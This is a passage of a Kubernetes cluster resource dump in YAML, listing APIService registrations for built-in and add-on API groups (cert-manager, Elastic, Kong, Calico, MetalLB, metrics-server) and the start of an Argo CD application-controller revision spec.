    uid: 0eea0203-4955-44e1-aa4f-9a47ad29190b
  spec:
    groupPriorityMinimum: 18000
    version: v1
    versionPriority: 1
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.acme.cert-manager.io
    resourceVersion: "220048"
    uid: 180c29a9-aa46-4266-9c38-01653f88359d
  spec:
    group: acme.cert-manager.io
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.admissionregistration.k8s.io
    resourceVersion: "9"
    uid: cc5a300c-eda2-4320-b15c-512eaf168d00
  spec:
    group: admissionregistration.k8s.io
    groupPriorityMinimum: 16700
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.apiextensions.k8s.io
    resourceVersion: "13"
    uid: 42430a89-b483-4f5d-8752-6201e68df398
  spec:
    group: apiextensions.k8s.io
    groupPriorityMinimum: 16700
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:55:59Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.apm.k8s.elastic.co
    resourceVersion: "432319"
    uid: 36ccf6cd-3494-4a63-a957-056c4f584276
  spec:
    group: apm.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.apps
    resourceVersion: "14"
    uid: 90303406-4a4f-4b82-8882-d43fdda996fb
  spec:
    group: apps
    groupPriorityMinimum: 17800
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.authentication.k8s.io
    resourceVersion: "10"
    uid: 500b0761-ed42-4a11-b189-6d54d2509d32
  spec:
    group: authentication.k8s.io
    groupPriorityMinimum: 17700
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.authorization.k8s.io
    resourceVersion: "18"
    uid: d3966a24-acbd-4b92-ad7a-84c94a26b913
  spec:
    group: authorization.k8s.io
    groupPriorityMinimum: 17600
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.autoscaling
    resourceVersion: "26"
    uid: 2a6d12be-f6df-4d4d-a7b7-d03ca38bfd1d
  spec:
    group: autoscaling
    groupPriorityMinimum: 17500
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.batch
    resourceVersion: "25"
    uid: 784f1382-6690-4494-85ac-1211d67774e8
  spec:
    group: batch
    groupPriorityMinimum: 17400
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.cert-manager.io
    resourceVersion: "220047"
    uid: a1c8a2b8-b83b-46fe-8edc-a240c8cc48d9
  spec:
    group: cert-manager.io
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.certificates.k8s.io
    resourceVersion: "24"
    uid: 441729bf-23b6-47cf-be6c-c19e28c586ae
  spec:
    group: certificates.k8s.io
    groupPriorityMinimum: 17300
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T09:56:10Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.configuration.konghq.com
    resourceVersion: "413041"
    uid: 0116cad2-486e-4e32-8117-4333b7c8e02b
  spec:
    group: configuration.konghq.com
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.coordination.k8s.io
    resourceVersion: "27"
    uid: 0b9e8538-c5eb-4fcb-9a58-a66538a7f39b
  spec:
    group: coordination.k8s.io
    groupPriorityMinimum: 16500
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:50Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.crd.projectcalico.org
    resourceVersion: "447"
    uid: ff6b6e7c-b043-4dbd-be82-209b521ca1bc
  spec:
    group: crd.projectcalico.org
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.discovery.k8s.io
    resourceVersion: "29"
    uid: 87834b50-c24b-4b97-acd2-f07589981b19
  spec:
    group: discovery.k8s.io
    groupPriorityMinimum: 16200
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.elasticsearch.k8s.elastic.co
    resourceVersion: "432352"
    uid: bddf2bcd-24ab-47d7-8f58-90d0f13588a9
  spec:
    group: elasticsearch.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.enterprisesearch.k8s.elastic.co
    resourceVersion: "432364"
    uid: e08a8cb9-7853-453f-887c-8feeab300b08
  spec:
    group: enterprisesearch.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.events.k8s.io
    resourceVersion: "31"
    uid: 5822d5bd-1c14-43f3-914a-ec47a44098e9
  spec:
    group: events.k8s.io
    groupPriorityMinimum: 17750
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.flowcontrol.apiserver.k8s.io
    resourceVersion: "33"
    uid: f020078b-9cff-41f6-8de9-adde50f0bb3f
  spec:
    group: flowcontrol.apiserver.k8s.io
    groupPriorityMinimum: 16100
    version: v1
    versionPriority: 21
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.kibana.k8s.elastic.co
    resourceVersion: "432368"
    uid: c829f623-016a-4a2a-ad0d-4c5b31876e4e
  spec:
    group: kibana.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.networking.k8s.io
    resourceVersion: "36"
    uid: a146c802-e16e-4167-a251-4cd3522a63a8
  spec:
    group: networking.k8s.io
    groupPriorityMinimum: 17200
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.node.k8s.io
    resourceVersion: "35"
    uid: ace5217b-8a1a-438e-baf3-1d4425737f1b
  spec:
    group: node.k8s.io
    groupPriorityMinimum: 16300
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-10-19T16:10:23Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1.operator.tigera.io
    resourceVersion: "6820558"
    uid: 572f7f0d-d2f5-46ff-93b8-8b06f42bd897
  spec:
    group: operator.tigera.io
    groupPriorityMinimum: 1000
    version: v1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:23Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.policy
    resourceVersion: "37"
    uid: 1726903e-6ebe-409f-b1d7-b4256e49235b
  spec:
    group: policy
    groupPriorityMinimum: 17100
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.rbac.authorization.k8s.io
    resourceVersion: "39"
    uid: 029e1e5e-3e62-4e48-983f-468882a16815
  spec:
    group: rbac.authorization.k8s.io
    groupPriorityMinimum: 17000
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.scheduling.k8s.io
    resourceVersion: "40"
    uid: 3d820b3c-dc22-44d3-a4ac-ca7ee41e2a0b
  spec:
    group: scheduling.k8s.io
    groupPriorityMinimum: 16600
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.storage.k8s.io
    resourceVersion: "42"
    uid: ce320e23-6eee-4f6d-a97f-a030b5e7c6ad
  spec:
    group: storage.k8s.io
    groupPriorityMinimum: 16800
    version: v1
    versionPriority: 15
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:55:59Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.agent.k8s.elastic.co
    resourceVersion: "432310"
    uid: bab096ed-c388-40e9-a9cc-fbf22028ea1f
  spec:
    group: agent.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.argoproj.io
    resourceVersion: "74956"
    uid: 26189781-67f7-4869-99ee-420f2ff60a48
  spec:
    group: argoproj.io
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:12Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:01Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.autoscaling.k8s.elastic.co
    resourceVersion: "432343"
    uid: 0b083e60-dc95-4148-8a4e-3bae6ff3021c
  spec:
    group: autoscaling.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:01Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T09:56:10Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.configuration.konghq.com
    resourceVersion: "413026"
    uid: e1b2ceba-ee73-48c2-86e5-4537c7800867
  spec:
    group: configuration.konghq.com
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:05Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.logstash.k8s.elastic.co
    resourceVersion: "432380"
    uid: 479e6c62-f1ca-4c7c-acf3-ad37f031dc0e
  spec:
    group: logstash.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:05Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:00Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.maps.k8s.elastic.co
    resourceVersion: "432334"
    uid: d596843c-2135-4508-83f6-6e0aa959bbcd
  spec:
    group: maps.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:51Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.policy.networking.k8s.io
    resourceVersion: "515"
    uid: c536b45f-b482-4bc4-9e7c-013f231cda3d
  spec:
    group: policy.networking.k8s.io
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:05Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1alpha1.stackconfigpolicy.k8s.elastic.co
    resourceVersion: "432381"
    uid: e9f36bbe-cf50-410b-a191-73e4995d616a
  spec:
    group: stackconfigpolicy.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1alpha1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:05Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:55:59Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.apm.k8s.elastic.co
    resourceVersion: "432317"
    uid: de35c55b-f28e-49f5-8e93-06314005b963
  spec:
    group: apm.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:00Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.beat.k8s.elastic.co
    resourceVersion: "432325"
    uid: 585369da-298f-4edf-b966-0aceb5b2a36b
  spec:
    group: beat.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T09:56:10Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.configuration.konghq.com
    resourceVersion: "413025"
    uid: 1068f544-742d-44f0-9aa2-6a849a886e53
  spec:
    group: configuration.konghq.com
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.elasticsearch.k8s.elastic.co
    resourceVersion: "432356"
    uid: f78bcd25-5ba2-4c42-a2d2-31a3000d06c9
  spec:
    group: elasticsearch.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.enterprisesearch.k8s.elastic.co
    resourceVersion: "432365"
    uid: e071afe5-9929-4b34-a53e-6515e238266f
  spec:
    group: enterprisesearch.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-23T11:56:03Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.kibana.k8s.elastic.co
    resourceVersion: "432367"
    uid: 430f4982-d459-4f38-8e76-9d41c7da918e
  spec:
    group: kibana.k8s.elastic.co
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta1.metallb.io
    resourceVersion: "57855"
    uid: d3e7a804-85a6-486d-8a2e-cb32cc86b342
  spec:
    group: metallb.io
    groupPriorityMinimum: 1000
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: v1beta1.metrics.k8s.io
    resourceVersion: "18046444"
    uid: ef13466c-3a7c-4efe-a4df-dd2f64a92f89
  spec:
    group: metrics.k8s.io
    groupPriorityMinimum: 100
    insecureSkipTLSVerify: true
    service:
      name: metrics-server
      namespace: metrics-server
      port: 443
    version: v1beta1
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:25:40Z"
      message: all checks passed
      reason: Passed
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: "true"
    name: v1beta2.metallb.io
    resourceVersion: "57853"
    uid: 76f7462b-484b-4253-bdaa-55059dde04a8
  spec:
    group: metallb.io
    groupPriorityMinimum: 1000
    version: v1beta2
    versionPriority: 100
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v2.autoscaling
    resourceVersion: "23"
    uid: 25952033-8fba-4ac0-a714-3c098f1112f8
  spec:
    group: autoscaling
    groupPriorityMinimum: 17500
    version: v2
    versionPriority: 30
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: Local APIServices are always available
      reason: Local
      status: "True"
      type: Available
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
            checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: application-controller
            app.kubernetes.io/instance: argocd
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: argocd-application-controller
            app.kubernetes.io/part-of: argocd
            app.kubernetes.io/version: v3.1.6
            helm.sh/chart: argo-cd-8.5.3
        spec:
          affinity:
            podAntiAffinity:
              preferredDuringSchedulingIgnoredDuringExecution:
              - podAffinityTerm:
                  labelSelector:
                    matchLabels:
                      app.kubernetes.io/name: argocd-application-controller
                  topologyKey: kubernetes.io/hostname
                weight: 100
          automountServiceAccountToken: true
          containers:
          - args:
            - /usr/local/bin/argocd-application-controller
            - --metrics-port=8082
            env:
            - name: ARGOCD_CONTROLLER_REPLICAS
              value: "1"
            - name: ARGOCD_APPLICATION_CONTROLLER_NAME
              value: argocd-application-controller
            - name: ARGOCD_RECONCILIATION_TIMEOUT
              valueFrom:
                configMapKeyRef:
                  key: timeout.reconciliation
                  name: argocd-cm
                  optional: true
            - name: ARGOCD_HARD_RECONCILIATION_TIMEOUT
              valueFrom:
                configMapKeyRef:
                  key: timeout.hard.reconciliation
                  name: argocd-cm
                  optional: true
            - name: ARGOCD_RECONCILIATION_JITTER
              valueFrom:
                configMapKeyRef:
                  key: timeout.reconciliation.jitter
                  name: argocd-cm
                  optional: true
            - name: ARGOCD_REPO_ERROR_GRACE_PERIOD_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.repo.error.grace.period.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER
              valueFrom:
                configMapKeyRef:
                  key: repo.server
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.repo.server.timeout.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_STATUS_PROCESSORS
              valueFrom:
                configMapKeyRef:
                  key: controller.status.processors
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_OPERATION_PROCESSORS
              valueFrom:
                configMapKeyRef:
                  key: controller.operation.processors
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_LOGFORMAT
              valueFrom:
                configMapKeyRef:
                  key: controller.log.format
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_LOGLEVEL
              valueFrom:
                configMapKeyRef:
                  key: controller.log.level
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_LOG_FORMAT_TIMESTAMP
              valueFrom:
                configMapKeyRef:
                  key: log.format.timestamp
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_METRICS_CACHE_EXPIRATION
              valueFrom:
                configMapKeyRef:
                  key: controller.metrics.cache.expiration
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_TIMEOUT_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.self.heal.timeout.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_TIMEOUT_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.self.heal.backoff.timeout.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_FACTOR
              valueFrom:
                configMapKeyRef:
                  key: controller.self.heal.backoff.factor
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_CAP_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.self.heal.backoff.cap.seconds
                  name: argocd-cmd-params-cm
                  optional: true
